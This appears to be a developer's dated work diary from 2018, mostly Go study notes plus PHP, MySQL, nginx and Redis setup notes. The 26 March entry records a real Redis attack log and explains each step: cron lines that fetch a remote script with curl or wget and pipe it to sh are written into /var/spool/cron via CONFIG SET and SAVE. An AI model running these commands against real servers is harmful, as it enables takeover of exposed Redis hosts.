==========================================================================
2018年4月16日 記錄:
date("Y-m-d",strtotime('Monday'));
date("Y-m-d",strtotime('Next Monday'));下週一
date("Y-m-d",strtotime('Last Monday'));上週一
Go語言聖經-錯誤
1.panic異常。panic是來自被調函數的信號,表示發生了某個已知的bug
2.任何進行I/O操做的函數都會面臨出現錯誤的可能
3.錯誤是軟件包API和應用程序用戶界面的一個重要組成部分,程序運行失敗僅被認爲是幾個預期的結果之一
4.那些將運行失敗看做是預期結果的函數,它們會返回一個額外的返回值,一般是最後一個,來傳遞錯誤信息
5.用戶須要瞭解更多的錯誤信息。所以,額外的返回值再也不是簡單的布爾類型,而是error類型
6.內置的error是接口類型,error類型多是nil或者non-nil
7.對於non-nil的error類型,咱們能夠經過調用error的Error函數或者輸出函數得到字符串類型的錯誤信息。
8.少部分函數在發生錯誤時,仍然會返回一些有用的返回值。好比,讀取文件
9.函數運行失敗時會返回錯誤信息,這些錯誤信息被認爲是一種預期的值
10.Go使用控制流機制(如if和return)處理異常,這使得編碼人員能更多的關注錯誤處理
11.錯誤處理策略:傳播錯誤,構造新的錯誤信息返回給調用者fmt.Errorf("parsing %s as HTML: %v", url,err)
12.第二種策略。若是錯誤的發生是偶然性的,或由不可預知的問題致使的。一個明智的選擇是從新嘗試失敗的操做,限制重試的時間間隔或重試的次數,for循環 sleep
13.第三種策略:輸出錯誤信息並結束程序,fmt.Fprintf(os.Stderr, "Site is down: %v\n", err)==log.Fatalf()
14.第四種策略:有時,咱們只須要輸出錯誤信息就足夠了,不須要中斷程序的運行,log.Printf()
15.io包保證任何由文件結束引發的讀取失敗都返回同一個錯誤——io.EOF
Go語言聖經-函數值
1.函數被看做第一類值(first-class values):函數像其餘值同樣,擁有類型,能夠被賦值給其餘變量,傳遞給函數,從函數返回。對函數值(function value)的調用相似函數調用
2.函數值使得咱們不只僅能夠經過數據來參數化函數,亦可經過行爲,strings.Map對字符串中的每一個字符調用add1函數
3.利用fmt.Printf的一個小技巧控制輸出的縮進。%*s中的*會在字符串以前填充一些空格
練習 5.7: 完善startElement和endElement函數,使其成爲通用的HTML輸出器。要求:輸出註釋結點,文本結點以及每一個元素的屬性(< a href='...'>)。使用簡略格式輸出沒有孩子結點的元素(即用<img/>代替<img></img>)。編寫測試,驗證程序輸出的格式正確。(詳見11章)
表擴展字段:
alter table `tblz` add fidin int(10) unsigned NOT NULL DEFAULT '0' ;
alter table `tblz` add fidout int(10) unsigned NOT NULL DEFAULT '0' ;
exponential 指數 back-off 倒退
==========================================================================
2018年4月13日 記錄:
Go語言聖經-文本和HTML模板
練習 4.14: 建立一個web服務器,查詢一次GitHub,而後生成BUG報告、里程碑和對應的用戶信息。
1.查看下文檔godoc net/http |grep HandleFunc
func HandleFunc(pattern string, handler func(ResponseWriter, *Request))
2.godoc fmt|grep Fprintf
func Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error)
3. var issueList = template.Must(template.New("issuelist").Parse(``)
issueList.Execute(w, result)
Go語言聖經-函數
1.函數可讓咱們將一個語句序列打包爲一個單元,而後能夠從程序中其它地方屢次調用
2.探索遞歸函數、匿名函數、錯誤處理和函數其它的不少特性
Go語言聖經-函數聲明
1.函數聲明包括函數名、形式參數列表、返回值列表(可省略)以及函數體
2.形式參數列表描述了函數的參數名以及參數類型
3.若是一組形參或返回值有相同的類型,咱們沒必要爲每一個形參都寫出參數類型
4.實參經過值的方式傳遞,所以函數的形參是實參的拷貝,若是實參包括引用類型,如指針,slice(切片)、map、function、channel等類型,實參可能會因爲函數的間接引用被修改
Go語言聖經-函數遞歸
1.函數能夠是遞歸的,這意味着函數能夠直接或間接的調用自身
2.非標準包 golang.org/x/net/html ,解析HTML 被牆,直接下載github代碼
3.固定大小棧會限制遞歸的深度,當你用遞歸處理大量數據時,須要避免棧溢出
Go語言聖經-Goroutines和Channels
1.併發程序指同時進行多個任務的程序,Web服務器會一次處理成千上萬的請求,手機app在渲染用戶畫面同時還會後臺執行各類計算任務和網絡請求
2.Go語言中的併發程序能夠用兩種手段來實現:goroutine和channel支持「順序通訊進程」CSP ; 多線程共享內存
Go語言聖經-Goroutines
1.每個併發的執行單元叫做一個goroutine
2.當一個程序啓動時,其主函數即在一個單獨的goroutine中運行,咱們叫它main goroutine
3.go語句來建立新的goroutine,go f()
==========================================================================
2018年4月12日 記錄:
Go語言聖經-Map
練習 4.8: 修改charcount程序,使用unicode.IsLetter等相關的函數,統計字母、數字等Unicode中不一樣的字符類別。
練習 4.9: 編寫一個程序wordfreq程序,報告輸入文本中每一個單詞出現的頻率。在第一次調用Scan前先調用input.Split(bufio.ScanWords)函數,這樣能夠按單詞而不是按行輸入。
Go語言聖經-結構體
1.結構體是一種聚合的數據類型,是由零個或多個任意類型的值聚合成的實體
2.一般一行對應一個結構體成員,成員的名字在前類型在後,不過若是相鄰的成員類型若是相同的話能夠被合併到一行
3.若是結構體成員名字是以大寫字母開頭的,那麼該成員就是導出的;這是Go語言導出規則決定的。一個結構體可能同時包含導出和未導出的成員。
4.一個命名爲S的結構體類型將不能再包含S類型的成員:由於一個聚合的值不能包含它自身,S類型的結構體能夠包含*S指針類型的成員
咱們使用一個二叉樹來實現一個插入排序:
5.結構體類型的零值是每一個成員都是零值。一般會將零值做爲最合理的默認值
6.結構體字面值,第一種要求以結構體成員定義的順序爲每一個結構體成員指定一個字面值
第二種寫法,以成員名字和相應的值來初始化,能夠包含部分或所有的成員,更經常使用
7.企圖隱式使用未導出成員的行爲是不容許的
8.若是考慮效率的話,較大的結構體一般會用指針的方式傳入和返回,函數中
9.若是要在函數內部修改結構體成員的話,用指針傳入是必須的;由於在Go語言中,全部的函數參數都是值拷貝傳入的,函數參數將再也不是函數調用時的原始變量。
10.結構體比較,若是結構體的所有成員都是能夠比較的,那麼結構體也是能夠比較的
11.可比較的結構體類型和其餘可比較的類型同樣,能夠用於map的key類型。
12.結構體嵌入和匿名成員,讓咱們只聲明一個成員對應的數據類型而不指名成員的名字;這類成員就叫匿名成員,得意於匿名嵌入的特性,咱們能夠直接訪問葉子屬性而不須要給出完整的路徑:
13.結構體字面值並無簡短表示匿名成員的語法
14.Printf函數中%v參數包含的#副詞,它表示用和Go語言相似的語法打印值。對於結構體類型來講,將包含每一個成員的名字。
Go語言聖經-JSON
1.標準庫中的encoding/json、encoding/xml、encoding/asn1等包提供支持
2.一個JSON數組能夠用於編碼Go語言的數組和slice
3.JSON的對象類型能夠用於編碼Go語言的map類型(key類型是字符串)和結構體
4.將一個Go語言中相似movies的結構體slice轉爲JSON的過程叫編組(marshaling)。編組經過調用json.Marshal函數完成,返還一個編碼後的字節slice,包含很長的字符串
5.json.MarshalIndent函數將產生整齊縮進的輸出,兩個額外的字符串參數用於表示每一行輸出的前綴和每個層級的縮進
6.只有導出的結構體成員纔會被編碼,這也就是咱們爲何選擇用大寫字母開頭的成員名稱
7.結構體的成員Tag能夠是任意的字符串面值,可是一般是一系列用空格分隔的key:"value"鍵值對序列;由於值中含義雙引號字符,所以成員Tag通常用原生字符串面值的形式書寫
8.編碼的逆操做是解碼,對應將JSON數據解碼爲Go語言的數據結構,Go語言中通常叫unmarshaling,經過json.Unmarshal函數完成
9.用url.QueryEscape來對查詢中的特殊字符進行轉義操做。
10.使用了基於流式的解碼器json.Decoder,它能夠從一個輸入流解碼JSON數據,還有一個針對輸出流的json.Encoder編碼對象
練習 4.10: 修改issues程序,根據問題的時間進行分類,好比不到一個月的、不到一年的、超過一年。
練習 4.11: 編寫一個工具,容許用戶在命令行建立、讀取、更新和關閉GitHub上的issue,當必要的時候自動打開用戶默認的編輯器用於輸入文本信息。
練習 4.12: 流行的web漫畫服務xkcd也提供了JSON接口。例如,一個 https://xkcd.com/571/info.0.json 請求將返回一個不少人喜好的571編號的詳細描述。下載每一個連接(只下載一次)而後建立一個離線索引。編寫一個xkcd工具,使用這些離線索引,打印和命令行輸入的檢索詞相匹配的漫畫的URL。
練習 4.13: 使用開放電影數據庫的JSON服務接口,容許你檢索和下載 https://omdbapi.com/ 上電影的名字和對應的海報圖像。編寫一個poster工具,經過命令行輸入的電影名字,下載對應的海報。
==========================================================================
2018年4月11日 記錄:
導入郵箱地址返回當前成功導入的結果
go語言聖經-Slice切片
1.Slice(切片)表明變長的序列,序列中每一個元素都有相同的類型,一個slice類型通常寫做[]T,其中T表明slice中元素的類型;slice的語法和數組很像,只是沒有固定長度而已,slice的底層確實引用一個數組對象
2.內置的len和cap函數分別返回slice的長度和容量
3.s[i:j] , 從第i個元素開始到第j-1個元素的子序列,s[:]切片操做則是引用整個數組
4.slice值包含指向第一個slice元素的指針,所以向函數傳遞slice將容許在函數內部修改底層數組的元素
5.將slice元素循環向左旋轉n個元素的方法是三次調用reverse反轉函數,第一次是反轉開頭的n個元素,而後是反轉剩下的元素,最後是反轉整個slice的元素。
6.slice之間不能比較,所以咱們不能使用==操做符來判斷兩個slice是否含有所有相等元素,slice惟一合法的比較操做是和nil比較
7.能夠用[]int(nil)類型轉換表達式來生成一個對應類型slice的nil值
8.測試一個slice是不是空的,使用len(s) == 0來判斷
9.make函數建立一個指定元素類型、長度和容量的slice , make([]T, len)
10.內置的append函數用於向slice追加元素
11.[]rune("Hello, 世界") 字符串轉rune類型的slice
12.咱們並不知道append調用是否致使了內存的從新分配,所以咱們也不能確認新的slice和原始的slice是否引用的是相同的底層數組空間,一般是將append返回的結果直接賦值給輸入的slice變量
13.函數參數中的最後的「...」省略號表示接收變長的參數爲slice,func appendInt(x []int, y ...int) []int {}
14.報錯invalid indirect of s[j] (type int) ,使用數組指針的時候(*s)[0]
15.Slice內存技巧,
練習 4.3: 重寫reverse函數,使用數組指針代替slice。
練習 4.4: 編寫一個rotate函數,經過一次循環完成旋轉。
練習 4.5: 寫一個函數在原地完成消除[]string中相鄰重複的字符串的操做。
練習 4.6: 編寫一個函數,原地將一個UTF-8編碼的[]byte類型的slice中相鄰的空格(參考unicode.IsSpace)替換成一個空格返回
練習 4.7: 修改reverse函數用於原地反轉UTF-8編碼的[]byte。是否能夠不用分配額外的內存?
=========================================================================
2018年4月10日 記錄:
go語言聖經-複數
1.咱們把形如a+bi(a,b均爲實數)的數稱爲複數,其中a稱爲實部,b稱爲虛部,i稱爲虛數單位。兩種精度的複數類型:complex64和complex128,分別對應float32和float64兩種浮點數精度
2.complex函數用於構建複數,real和imag函數分別返回複數的實部和虛部
go語言聖經-布爾型
1.布爾值能夠和&&(AND)和||(OR)操做符結合,而且有短路行爲
2.&&的優先級比||高
go語言聖經-字符串
1.一個字符串是一個不可改變的字節序列,文本字符串一般被解釋爲採用UTF8編碼的Unicode碼點(rune)序列
2.內置的len函數能夠返回一個字符串中的字節數目,不是字符數目,對於非ASCII字符的UTF8編碼會要兩個或多個字節
3.+操做符將兩個字符串連接構造一個新字符串
4.字符串值也能夠用字符串面值方式編寫,只要將一系列字節序列包含在雙引號便可
5.原生的字符串面值形式是`...`,使用反引號代替雙引號用於編寫正則表達式,HTML模板、JSON面值、命令行提示信息會很方便
6.UTF8是一個將Unicode碼點編碼爲字節序列的變長編碼,Go語言的源文件採用UTF8編碼,而且Go語言處理UTF8編碼的文本也很出色,Go語言的range循環在處理字符串的時候,會自動隱式解碼UTF8字符串 ,文本字符串一般被解釋爲採用UTF8編碼的Unicode碼點(rune)序列
7.每一個符號都分配一個惟一的Unicode碼點,Unicode碼點對應Go語言中的rune整數類型(譯註:rune是int32等價類型)。小於256碼點值能夠寫在一個十六進制轉義字節中,例如\x41對應字符'A',更大的碼點則必須使用\u或\U轉義形式
7.utf8.RuneCountInString(s)函數 統計字符個數
8.四個包對字符串處理尤其重要:bytes、strings、strconv和unicode包
9.將一個整數轉爲字符串,一種方法是用fmt.Sprintf返回一個格式化的字符串;另外一個方法是用strconv.Itoa(「整數到ASCII」):
10.字符串轉換成整數 strconv.ParseInt strconv.ParseFloat
練習 3.10: 編寫一個非遞歸版本的comma函數,使用bytes.Buffer代替字符串連接操做。
練習 3.11: 完善comma函數,以支持浮點數處理和一個可選的正負號的處理。
練習 3.12: 編寫一個函數,判斷兩個字符串是不是是相互打亂的,也就是說它們有着相同的字符,可是對應不一樣的順序。
go語言聖經-常量
1.常量表達式的值在編譯期計算,而不是在運行期,常量的值不可修改
2.常量間的全部算術運算、邏輯運算和比較運算的結果也是常量
3.iota 常量生成器
在第一個聲明的常量所在的行,iota將會被置爲0,而後在每個有常量聲明的行加一
uint Flags = 1 << iota // 0001左移一位 ,左移兩位 , 左移n位
4.iota常量生成規則也有其侷限性。例如,它並不能用於產生1000的冪(KB、MB等),由於Go語言並無計算冪的運算符。
練習 3.13: 編寫KB、MB的常量聲明,而後擴展到YB。
5.除法運算符/會根據操做數的類型生成對應類型的結果
=========================================================================
2018年4月9日 記錄:
chunk_split — 將字符串分割成小塊:
base64_encode() 的輸出轉換成符合 RFC 2045 語義的字符串。它會在每 chunklen 個字符後邊插入 end行尾序列符號。
go語言聖經-包和文件-導入包
1.每一個包都有一個全局惟一的導入路徑
2.按照慣例,一個包的名字和包的導入路徑的最後一個字段相同
練習 2.2: 寫一個通用的單位轉換程序,用相似cf程序的方式從命令行讀取參數,若是缺省的話則是從標準輸入讀取參數,而後作相似Celsius和Fahrenheit的單位轉換,長度單位能夠對應英尺和米,重量單位能夠對應磅和公斤等。
1.建立目錄mkdir /home/ubuntu/gobook/src/unitconv/
2.目錄下建立文件unitconv.go
go語言聖經-包的初始化
1.解決包級變量的依賴順序,而後按照包級變量聲明出現的順序依次初始化
2.包中含有多個.go源文件,它們將按照發給編譯器的順序進行初始化
3.init初始化函數,在每一個文件中的init初始化函數,在程序開始執行時按照它們聲明的順序被自動調用
4.每一個包在解決依賴的前提下,以導入聲明的順序初始化,每一個包只會被初始化一次,在main函數執行以前,全部依賴的包都已經完成初始化工做了
5.一個數字中含二進制1bit的個數算法,統計出一個int型數值中比特值爲1的比特個數
&是二進制「與」運算,參加運算的兩個數的二進制按位進行運算,運算的規律是:
0 & 0=0
0 & 1=0
1 & 0=0
1 & 1=1
練習 2.3: 重寫PopCount函數,用一個循環代替單一的表達式。比較兩個版本的性能。(11.4節將展現如何系統地比較兩個不一樣實現的性能。)
練習 2.4: 用移位算法重寫PopCount函數,每次測試最右邊的1bit,而後統計總數。比較和查表算法的性能差別。
練習 2.5: 表達式x&(x-1)用於將x的最低的一個非零的bit位清零。使用這個算法重寫PopCount函數,而後比較性能。
go語言聖經-做用域
1.一個聲明語句將程序中的實體和一個名字關聯,好比一個函數或一個變量
2.一個變量的生命週期是指程序運行時變量存在的有效時間段;聲明語句的做用域對應的是一個源代碼的文本區域,它是一個編譯時的屬性
3.句法塊是由花括弧所包含;咱們能夠把塊(block)的概念推廣到包括其餘聲明的羣組,這些聲明在代碼中並未顯式地使用花括號包裹起來,咱們稱之爲詞法塊。
4.全局做用域 包級語法域 源文件級的做用域 局部做用域 函數級的做用域
5.從最內層的詞法域向全局的做用域查找。內部的會覆蓋外部的,若是查找失敗,則報告「未聲明的名字」這樣的錯誤
6.詞法域能夠深度嵌套,所以內部的一個聲明可能屏蔽外部的聲明
7.隱式詞法域, 好比:for循環 函數體詞法域,一個在for隱式的初始化詞法域,一個在for循環體詞法域
8.Go語言的習慣是在if中處理錯誤而後直接返回,這樣能夠確保正常執行的語句不須要代碼縮進。
9.要特別注意短變量聲明語句的做用域範圍,雖然變量在外部已經聲明過,可是:=語句仍是將變量從新聲明爲新的局部變量
避免出現相似潛在的問題,經過單獨聲明變量,來避免使用:=
go語言聖經-基礎數據類型
1.基礎類型、複合類型、引用類型和接口類型
2.基礎類型,包括:數字、字符串和布爾型
3.複合數據類型——數組(§4.1)和結構體(§4.2)
4.引用類型包括指針(§2.3.2)、切片(§4.2))字典(§4.3)、函數(§5)、通道(§8),都是對程序中一個變量或狀態的間接引用
go語言聖經-整型
1.int八、int1六、int32和int64四種大相徑庭大小的有符號整數類型
2.uint八、uint1六、uint32和uint64四種無符號整數類型
3.有符號和無符號整數int和uint;其中int是應用最普遍的數值類型。這兩種類型都有一樣的大小,32或64bit
4.byte也是uint8類型的等價類型,byte類型通常用於強調數值是一個原始的數據而不是一個小的整數
5.一種無符號的整數類型uintptr,沒有指定具體的bit大小可是足以容納指針
6.bit位操做運算符,& | ^ &^位清空 (AND NOT) <<左移 >>右移
7.使用了Printf函數的%b參數打印二進制格式的數字;其中%08b中08表示打印至少8個字符寬度,不足的前綴部分用0填充
&^是按位置零 x&^y 按y置零x ;x^y 異或在 |或的基礎上去掉兩個都爲1的部分
8.傾向於使用有符號的int類型,uint無符號類型好比在循環時條件判斷處會出問題
9.無符號數每每只有在位運算或其它特殊的運算場景纔會使用
10.類型不匹配的問題,須要顯式類型轉換,將一個大尺寸的整數類型轉爲一個小尺寸的整數類型,或者是將一個浮點數轉爲整數,可能會改變數值或丟失精度
11.整數字面值均可以用以0開始的八進制格式書寫,例如0666,用以0x或0X開頭的十六進制格式書寫,例如0xdeadbeef
%d、%o或%x參數控制輸出的進制格式,%以後的[1]副詞告訴Printf函數再次使用第一個操做數,%後的#副詞告訴Printf在用%o、%x或%X輸出時生成0、0x或0X前綴,字符使用%c參數打印,或者是用%q參數打印帶單引號的字符
go語言聖經-浮點數
1.兩種精度的浮點數,float32和float64,應該優先使用float64類型
2.%g %e(帶指數)或%f的形式參數打印浮點數
3.
=========================================================================
2018年4月8日 記錄:
修復延長讀取MIC的超時時間
go語言聖經-聲明
1.四種類型的聲明語句:var、const、type和func,分別對應變量、常量、類型和函數實體對象的聲明
2.包一級聲明語句聲明的名字可在整個包對應的每一個源文件中訪問,局部聲明的名字就只能在函數內部很小的範圍被訪問
go語言聖經-變量
1.var 變量名字 類型 = 表達式
2.零值初始化機制,數值類型零值是0,布爾類型變量對應的零值是false,字符串類型對應的零值是空字符串,接口或引用類型(包括slice、指針、map、chan和函數)變量對應的零值是nil
3.同時聲明一組變量,用逗號分隔
4.簡短變量聲明 := ,只有對已經在同級詞法域聲明過的變量才和賦值操做語句等價
5.一個指針的值是另外一個變量的地址,指針名字爲p,那麼能夠說「p指針指向變量x」,或者說「p指針保存了x變量的內存地址」
6.聚合類型每一個成員,能夠被取地址
7.函數返回局部變量的地址也是安全的
8.將指針做爲參數調用函數,那將能夠在函數中經過該指針來更新變量的值。
9.咱們對一個變量取地址,或者複製指針,咱們都是爲原變量建立了新的別名
10.指針是實現標準庫中flag包的關鍵技術,它使用命令行參數來設置對應變量的值
11.另外一個建立變量的方法是調用用內建的new函數,new(T)將建立一個T類型的匿名變量,初始化爲T類型的零值,而後返回變量地址,返回的指針類型爲*T
12.變量的生命週期指的是在程序運行期間變量有效存在的時間間隔
13.從每一個包級的變量和每一個當前運行函數的每個局部變量開始,經過指針或引用的訪問路徑遍歷,是否能夠找到該變量。若是不存在這樣的訪問路徑,那麼說明該變量是不可達的,也就是說它是否存在並不會影響程序後續的計算結果
14.一個循環迭代內部的局部變量的生命週期可能超出其局部做用域。同時,局部變量可能在函數返回以後依然存在。
15.局部變量從函數中逃逸,該局部變量必須在堆上分配
go語言聖經-賦值
1.元組賦值是另外一種形式的賦值語句,它容許同時更新多個變量的值,用法交換兩個變量的值
2.最大公約數(GCD算法),計算斐波納契數列(Fibonacci)的第N個數 更加簡潔
3.表達式太複雜的話,應該儘可能避免過分使用元組賦值;調用一個有多個返回值的函數,能夠使用元組賦值,額外的返回值來表達某種錯誤類型,能夠用下劃線空白標識符_來丟棄不須要的值
4.程序中還有不少地方會發生隱式的賦值行爲:函數傳參,複合類型的字面量
go語言聖經-類型
1.type 類型名字 底層類型 類型聲明語句
2.類型聲明語句通常出如今包一級,所以若是新建立的類型名字的首字符大寫,則在外部包也能夠使用
3.命名類型還能夠爲該類型的值定義新的行爲
4.許多類型都會定義一個String方法,由於當使用fmt包的打印方法時,將會優先使用該類型對應的String方法返回的結果打印
5.顯式轉型操做,每個類型T,都有一個對應的類型轉換操做T(x),用於將x轉爲T類型
go語言聖經-包和文件
1.Go語言中的包和其餘語言的庫或模塊的概念相似,目的都是爲了支持模塊化、封裝、單獨編譯和代碼重用
2.每一個包都對應一個獨立的名字空間
3.若是一個名字是大寫字母開頭的,那麼該名字是導出的
分佈式文件存儲系統
https://github.com/donnie4w/wfs
分佈式聊天服務器
https://github.com/donnie4w/tim
消息隊列
https://github.com/blackbeans/kiteq
P2P音視頻
https://github.com/keroserene/go-webrtc
1.閉包說白了就是函數的嵌套,內層的函數能夠使用外層函數的全部變量,配合匿名函數,配合做用域鏈就像只能往上不能往下的階梯
2.JWT的構成:頭部(header),載荷(payload),簽證(signature)
base64_encode(json_encode(加密算法)).base64_encode(json_encode(內容主體)).
=========================================================================
2018年4月4日 記錄:
go語言聖經-獲取URL
1.主要使用net/http和io/ioutil包
2.http.Get函數是建立HTTP請求的函數,resp這個結構體中,Body字段包括一個可讀的服務器響應流
3.ioutil.ReadAll函數從response中讀取到所有內容,resp.Body.Close關閉resp的Body流
4.用os.Exit函數來終止進程,而且返回一個status錯誤碼
5.使用Fprintf與表示任意類型默認格式值的動詞%v,向標準錯誤流打印一條信息
6.strings.HasPrefix(s, prefix string) bool,判斷字符串s是否以prefix 開頭
go語言聖經-併發獲取多個URL
1.GO最新奇的特性就是對併發編程的支持,goroutine和channel
2.goroutine是一種函數的併發執行方式,而channel是用來在goroutine之間進行參數傳遞
go function則表示建立一個新的goroutine,並在這個新的goroutine中執行這個函數。
3.make函數建立了一個傳遞string類型參數的channel
4.io.Copy把響應的Body內容拷貝到ioutil.Discard輸出流中,扔到一個垃圾桶
5.goroutine嘗試在一個channel上作send或者receive操做時,這個goroutine會阻塞在調用處,直到另外一個goroutine往這個channel裏寫入、或者接收值
6.用main函數來接收全部fetch函數傳回的字符串,能夠避免在goroutine異步執行尚未完成時main函數提早退出。
=========================================================================
2018年4月3日 記錄:
1.上傳附件的流程:
2.羣發郵件發送帶附件郵件
MySQL的鎖機制
1.數據庫鎖定機制簡單來講,就是數據庫爲了保證數據的一致性,而使各類共享資源在被併發訪問變得有序所設計的一種規則。
2.MySQL各存儲引擎使用了三種類型(級別)的鎖定機制:表級鎖定,行級鎖定和頁級鎖定。
3.表級鎖定,獲取鎖和釋放鎖的速度很快,避免了死鎖問題,併發差,主要是MyISAM,MEMORY,CSV等一些非事務性存儲引擎
4.行級鎖定,併發處理強,獲取鎖和釋放鎖慢,容易發生死鎖,主要是InnoDB存儲引擎
5.頁面鎖,介於表鎖和行鎖之間
go語言聖經-GIF動畫
1.Go語言標準庫裏的image這個package的用法,生成的圖形名字叫利薩如圖形(Lissajous figures)
2.用了一些新的結構,包括const聲明,struct結構體類型,複合聲明,浮點數運算
3.Slice(切片)表明變長的序列,序列中每一個元素都有相同的類型,寫做[]T,T表明slice中元素的類型
=========================================================================
2018年4月2日 記錄:
獲取保存的已發送郵件模板詳情接口,從s3讀取文件並解析出內容:
Linux diff比較兩個目錄的不一樣:
diff dir1 dir2 -urNaq
-a --text Treat all files as text.
-u -U NUM --unified[=NUM] Output NUM (default 3) lines of unified[統一] context.
-u,-U<列數>或--unified=<列數>:以合併的方式來顯示文件內容的不一樣;
-N --new-file Treat absent[缺乏] files as empty.
-r --recursive Recursively compare any subdirectories found.
-q --brief Output only whether files differ.[不顯示內容]
使用git rebase合併屢次commit
=========================================================================
2018年3月30日 記錄:
2.獲取已保存羣發模板列表
3.續期中轉站接口,插入了一個隊列,暫時可能此功能不能使用
go語言學習:
https://books.studygolang.com/gopl-zh/ go語言聖經
1.Go語言有時候被描述爲「C相似語言」,或者是「21世紀的C語言」。
2.Go語言中和併發編程相關的特性是全新的也是有效的,同時對數據抽象和麪向對象編程的支持也很靈活。Go語言同時還集成了自動垃圾收集技術用於更好地管理內存。
3.Go語言尤爲適合編寫網絡服務相關基礎設施,同時也適合開發一些工具軟件和系統軟件。
4.Go語言有足夠的類型系統以免動態語言中那些粗心的類型錯誤,可是,Go語言的類型系統相比傳統的強類型語言又要簡潔不少
5.現代計算機是一個並行的機器,Go語言提供了基於CSP的併發特性支持。Go語言的動態棧使得輕量級線程goroutine的初始棧能夠很小,順序通訊進程(CSP),在CSP中,程序是一組中間沒有共享狀態的平行運行的處理過程,它們之間使用管道進行通訊和控制同步
6.Go語言的標準庫(一般被稱爲語言自帶的電池),提供了清晰的構建模塊和公共接口,包含I/O操做、文本處理、圖像、密碼學、網絡和分佈式應用程序等,並支持許多標準化的文件格式和編解碼協議
7.書中全部的代碼均可以從 http://gopl.io 上的Git倉庫下載。go get命令根據每一個例子的導入路徑智能地獲取、構建並安裝。只須要選擇一個目錄做爲工做空間,而後將GOPATH環境變量設置爲該路徑。
$ export GOPATH=$HOME/gobook # 選擇工做目錄
$ go get gopl.io/ch1/helloworld # 獲取/編譯/安裝
$ $GOPATH/bin/helloworld # 輸出hello 世界
=========================================================================
2018年3月29日 記錄:
SinaStorage中對REST風格的一個簡單的表述爲:使用HTTP-verb(動詞)來指明操做的動做, 並用http中path來指明操做對象。
2.垃圾回收機制:
http://php.net/manual/zh/features.gc.php
引用計數基本知識
回收週期(Collecting Cycles)
性能方面考慮的因素
sha1_file(),計算文件的 sha1 散列值
linux json格式化工具jq,yum install jq
curl_setopt_array() - 爲 cURL 傳輸會話批量設置選項
CURLOPT_PUT TRUE 時容許 HTTP 發送文件。要被 PUT 的文件必須在 CURLOPT_INFILE和CURLOPT_INFILESIZE 中設置。
=========================================================================
2018年3月28日 記錄:
location = /uri =開頭表示精確匹配,只有徹底匹配上才能生效。
location ^~ /uri ^~ 開頭對URL路徑進行前綴匹配,而且在正則以前。
location ~ pattern ~開頭表示區分大小寫的正則匹配。
location ~* pattern ~*開頭表示不區分大小寫的正則匹配。
location /uri 不帶任何修飾符,也表示前綴匹配,可是在正則匹配以後。
location / 通用匹配,任何未匹配到其它location的請求都會匹配到,至關於switch中的default。
Go 語言具備很強的表達能力,它簡潔、清晰而高效。得益於其併發機制, 用它編寫的程序可以很是有效地利用多核與聯網的計算機,其新穎的類型系統則使程序結構變得靈活而模塊化。 Go 代碼編譯成機器碼不只很是迅速,還具備方便的垃圾收集機制和強大的運行時反射機制。 它是一個快速的、靜態類型的編譯型語言,感受卻像動態類型的解釋型語言。
=========================================================================
2018年3月27日 記錄:
獲取已發送羣發郵件日誌接口
pop代收,在165和166上查看icnc接口的pop.php請求日誌,沒有請求日誌,大叔那邊的進程假死了
Order Deny,Allow的用法:
影響最終判斷結果的只有兩點:
1. order語句中allow、deny的前後順序,最後的是最優先的;
2. allow、deny語句中各自包含的範圍。
經常使用:
Order Deny,Allow
Deny from all //禁止全部
Allow from 61.135.152.134 //容許指定ip
Order Allow,Deny
Allow from all //容許全部
Deny from 61.135.152.134 //禁止指定ip
安裝最新版redis:
yum install git
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
make
完成後就會放在了src目錄裏面了
Examples:
./redis-server (run the server with default conf)
./redis-server /etc/redis/6379.conf
./redis-server --port 7777
./redis-server --port 7777 --slaveof 127.0.0.1 8888
./redis-server /etc/myredis.conf --loglevel verbose
1.容許遠程鏈接
註釋掉bind指令
protected-mode yes
2.設置鏈接密碼
requirepass 密碼
3.守護進程執行
../redis.conf 配置文件中daemonize yes,會以守護進程執行
啓動./redis-server ../redis.conf
=========================================================================
2018年3月26日 記錄:
1522057495.583846 [0 123.206.24.121:50084] "set" "dUHkp" "\n\n*/1 * * * * curl cdn.namunil.com/sh.php|sh\n"
1522057495.584467 [0 123.206.24.121:50084] "set" "yA" "\n\n*/2 * * * * wget -O- cdn.namunil.com/sh.php|sh\n"
1522057495.585023 [0 123.206.24.121:50084] "set" "HoemuOP" "\n\n*/3 * * * * /usr/bin/curl -qs cdn.namunil.com/sh.php|/bin/sh\n"
1522057495.585650 [0 123.206.24.121:50084] "set" "ehWap" "\n\n*/4 * * * * /usr/bin/wget -q -O- cdn.namunil.com/sh.php|/bin/sh\n"
1522057495.586313 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/"
1522057495.587036 [0 123.206.24.121:50084] "config" "set" "dbfilename" "root"
1522057495.587374 [0 123.206.24.121:50084] "save"
1522057495.587827 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/crontabs/"
1522057495.588235 [0 123.206.24.121:50084] "save"
1.執行set命令,保存字符串,value 是一條cron規則的形式
2.設置備份文件的目錄到cron目錄
3.設置備份文件的文件名成root
4.save保存文件,直接把字符串中的cron規則寫入了文件
5.cron定時執行,遠程腳本里面各類操做
config命令:
CONFIG GET * 獲取全部的配置項
config set 設置配置項
send_mass_mail_用戶郵箱id
驗證memcache中發送條數,若是今天超限5000就提示信息,發送完成後重新更新mc數據
插入發送羣發郵件日誌表
生成1000個測試郵箱:
i=0;while [ $i -lt 100 ];do i=`expr $i + 1 `;echo `expr 630892806 + $i`"@qq.com";done > emails.txt
查詢性能優化:
1.爲何查詢速度會慢,整個查詢過程的生命週期,均可能消耗大量時間
2.慢查詢基礎:優化數據訪問
1)向服務器請求了不須要的數據,select *
2)掃描了而外的記錄,explain sql查看返回結果中的rows是掃描行數,using where是指所有返回而後過濾不符合條件的,效率低
3.重構查詢的方式
1)切分查詢,大查詢變小查詢 , 容易使用查詢緩存 , 減小鎖的競爭 , 容易對數據庫進行拆分
2)分解關聯查詢,join查詢拆分後用in實現 ,更加高效減小冗餘記錄查詢
4.查詢優化基礎
1)查詢緩存
2)查詢優化器,自動進行各類優化
3)MySQL如何執行關聯查詢
union查詢,將每次查詢放到一張臨時表中,而後再讀取臨時表
任何關聯都是嵌套循環關聯操做,回溯
4)排序優化,避免排序,避免大數據量排序,文件排序using filesort效率低
兩次傳輸排序,單次傳輸排序
5.MySQL查詢優化器的侷限性
1)關聯子查詢,where條件中包含in()的子查詢,最糟糕
2)union中的單條加limit限制
